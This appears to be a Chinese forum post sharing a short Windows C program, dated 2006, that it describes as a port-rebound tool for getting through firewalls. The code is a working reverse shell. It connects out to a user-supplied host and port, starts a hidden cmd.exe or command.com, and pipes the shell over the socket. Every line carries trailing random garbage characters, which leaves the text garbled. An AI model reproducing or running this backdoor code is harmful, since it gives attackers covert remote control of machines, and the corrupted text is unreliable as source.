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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #+ <"`}]N  
= MP?aH [  
/* ============================== Js706  
Rebound port in Windows NT 7E}.P1  
By wind,2006/7 6(9S'~*'R  
===============================*/ }r)T75_1  
#include #*"5F*  
#include Z}E.s@w  
i`F8kg`_K  
#pragma comment(lib,"wsock32.lib") #$ Q2ijT0  
-76l*=|  
void OutputShell(); vp#AD9h1  
SOCKET sClient; 2VY.#9vl  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; UF$JVb  
n!Dy-)!`O  
void main(int argc,char **argv) R54wNm @  
{ h\@\*Xz<v  
WSADATA stWsaData; c-dOb.v0  
int nRet; i- v PJg1  
SOCKADDR_IN stSaiClient,stSaiServer; %( tu<  
wk'12r6=(-  
if(argc != 3) &/}reE*  
{ p}r1@L s  
printf("Useage:\n\rRebound DestIP DestPort\n"); R}S@u@mOE  
return; M zWVsV  
} lebwGW,!  
?df*Y5I2  
WSAStartup(MAKEWORD(2,2),&stWsaData); @'Y^A  
s_j ?L  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m,TN%*U!  
$}*bZ~  
stSaiClient.sin_family = AF_INET; @Ft\~ +}  
stSaiClient.sin_port = htons(0); Ac'0  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bIR&e E  
C(Bh<c0@  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .*3.47O  
{ ^Qx qv  
printf("Bind Socket Failed!\n"); .w .`1 g   
return; \@3B%RW0  
} ?$>#FKrt  
5Wyo!pRi  
stSaiServer.sin_family = AF_INET; de&*#O5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Uzx,aYo X  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D (>,#F  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )$.::[pNA  
{ dE`a1H%  
printf("Connect Error!"); )C@O7m*.4  
return; 8~~*/oCoJt  
} 9Ez>srH(  
OutputShell(); e)#O-y  
} /p&V72  
Q^|ZoJS  
void OutputShell() I 19 /  
{ WPN4mEow  
char szBuff[1024]; z;#DX15Rj  
SECURITY_ATTRIBUTES stSecurityAttributes; 2!7)7wlj0  
OSVERSIONINFO stOsversionInfo; {`Jr$*;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0pC}+ +  
STARTUPINFO stStartupInfo; P Tc@MH)  
char *szShell; 6ojEEM  
PROCESS_INFORMATION stProcessInformation; ['*{f(AI  
unsigned long lBytesRead; I"4Lma  
f4h|Nn%;  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2NNAsr}L  
p H5iv>H  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +i@r-OL   
stSecurityAttributes.lpSecurityDescriptor = 0; %/K'VE6pb  
stSecurityAttributes.bInheritHandle = TRUE; fW'@+<b  
/|)VO?*D  
Ji#"PE/Pt  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l$1z%|I  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #TXN\YNP  
`ZC{<eVJ}=  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6c?;-5.  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :nt 7jm,  
stStartupInfo.wShowWindow = SW_HIDE; 5)T=^"IHXi  
stStartupInfo.hStdInput = hReadPipe; l\?HeVk^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ptCFW_UV  
/^F_~.u{  
GetVersionEx(&stOsversionInfo); wa #$9p~Q  
fpDx)lQ  
switch(stOsversionInfo.dwPlatformId) #]~l]Eq  
{ &8##)tS(y  
case 1: Y/3CB  
szShell = "command.com"; tfSY(cXg'T  
break; NB["U"1[^E  
default: RW?F{Jy{  
szShell = "cmd.exe"; tU5Z?QS  
break; pq3W.7z;b  
} FR7DuH/f)  
 [YGPcGw  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); HB>&}z0  
)r9l T*z  
send(sClient,szMsg,77,0); Rr9K1io$)  
while(1) <~%e{F:[#  
{ $,mljJSQv  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); GH6HdZ  
if(lBytesRead) 4;rt|X77  
{ k^JV37;bl  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CJDnHuozc  
send(sClient,szBuff,lBytesRead,0); j o7`DDb  
} ;2NJkn9t  
else nB~hmE)  
{ _RTJEG  
lBytesRead=recv(sClient,szBuff,1024,0); yFD3:;}  
if(lBytesRead<=0) break; < wI z8V  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CQ4MQ<BJ.  
} s_/a1o  
} S .KZ)  
/M0A9ZT[  
return; p#]D-?CM)  
}
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